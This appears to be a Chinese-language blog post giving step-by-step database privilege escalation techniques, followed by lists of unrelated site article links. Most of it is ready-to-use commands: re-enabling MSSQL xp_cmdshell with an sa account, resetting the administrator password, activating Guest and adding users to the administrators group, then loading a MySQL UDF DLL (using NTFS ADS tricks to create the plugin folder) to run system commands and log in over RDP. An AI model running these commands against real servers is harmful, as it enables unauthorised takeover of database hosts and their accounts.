日期:2018-04-03 11:46:45
作者:Bay0net
介绍:利用 mssql 的 sa 账号提权、利用 MySQL 的 UDF 提权


0x01、mssql 提权

恢复 xp_cmdshell

几个命令

# 查看是否存在 xp_cmdshell(返回非 0 即存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; # 不存在的话可以添加
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'; # 查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell 'whoami';

命令执行

利用 sa 连接到服务器,然后执行命令

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

提示成功

然后利用 sqltools 直接执行命令。

也可以用 SQL 语句来执行命令,三种方式,一般都喜欢用第二种。

exec xp_cmdshell 'command';
exec master..xp_cmdshell 'command';
exec master.dbo.xp_cmdshell 'command';

修改 administrators 的密码,比较方便

exec xp_cmdshell 'net user administrator test123...';

修改 Guest 的权限

exec xp_cmdshell 'net user Guest test123...';
exec xp_cmdshell 'net user Guest /active:yes';
exec xp_cmdshell 'net localgroup administrators Guest /add';

新建用户

exec master..xp_cmdshell 'net user test test123... /add';
exec master..xp_cmdshell 'net localgroup administrators test /add';

0x02、MySQL 提权

上传 UDF

这一步和 MySQL 的版本有关系,不同版本上传的路径不一样,没有 lib 文件的话需要新建。

# 版本小于 5.1,上传到系统目录下
C:\\WINDOWS\\udf.dll
C:\\WINDOWS\\system32\\udf.dll # 版本大于 5.1,上传到安装目录下
%mysql%\\plugin\\udf.dll # 查询路径,后面加 udf.dll 即可
select @@plugin_dir # 常用
# 查询用户
select user() # 查询数据库版本
select version() # 查询当前操作系统
select @@version_compile_os # 查询读取数据库路径
select @@datadir # 查询MYSQL安装路径
select @@basedir # 查询 plugin 的路径
select @@plugin_dir

命令执行

Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('ipconfig');
drop function cmdshell;
delete from mysql.func where name='cmdshell'

可以直接 UDF 提权工具搞,新建用户然后直接 3389 即可。

利用 NTFS ADS 写文件

使用 NTFS ADS 流创建 lib、plugin 文件夹:

如果遇到 Can't open shared library 的情况,

就需要把 udf.dll 导出到 lib\plugin 目录下才可以,但是默认情况下 plugin 不存在,就利用 NTFS ADS 流来创建文件夹。

select @@basedir;   //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。

最新文章

  1. HttpURLConnection类
  2. 【转】c# Image获得图片路径的三种方法 winform
  3. Android 录音器
  4. 日历插件My97DatePicker的使用
  5. 谈谈Delph中的类和对象2---类可以理解成一种特殊的数据结构、类型转换
  6. Volley获取网络图片使用总结
  7. 在vc中使用xtremetoolkit界面库-----安装及环境配置
  8. Callable 获取线程返回值
  9. /dev/shm(转)
  10. [置顶] vs2008 编译adb 支持4.2 android 系统(改进版)
  11. Outlook IMAP 修改PST文件存储路径
  12. [Swift]LeetCode822. 翻转卡片游戏 | Card Flipping Game
  13. 通过Socket让远程电脑执行脚本
  14. Http请求笔记
  15. python模块之collections random
  16. IDEA操作技巧与Tomcat集成
  17. Unix/Linux 查看文件大小
  18. 微信小程序 --- toast消息提示框
  19. hadoop之 Zookeeper 分布式应用程序协调服务
  20. Markov Process

热门文章

  1. Beta冲刺——星期四
  2. hexo个人博客添加宠物/鼠标点击效果/博客管理
  3. python操作hive 安装和测试
  4. 把task加入websocket服务端程序
  5. Python之multiprocessing模块的使用
  6. 洛谷月赛 P3406 海底高铁
  7. Dijkstra算法和Floyd算法的正确性证明
  8. zabbix自动注册,实现自动添加机器,减少人工干预
  9. AcWing:142. 前缀统计(字典树)
  10. Complete Tripartite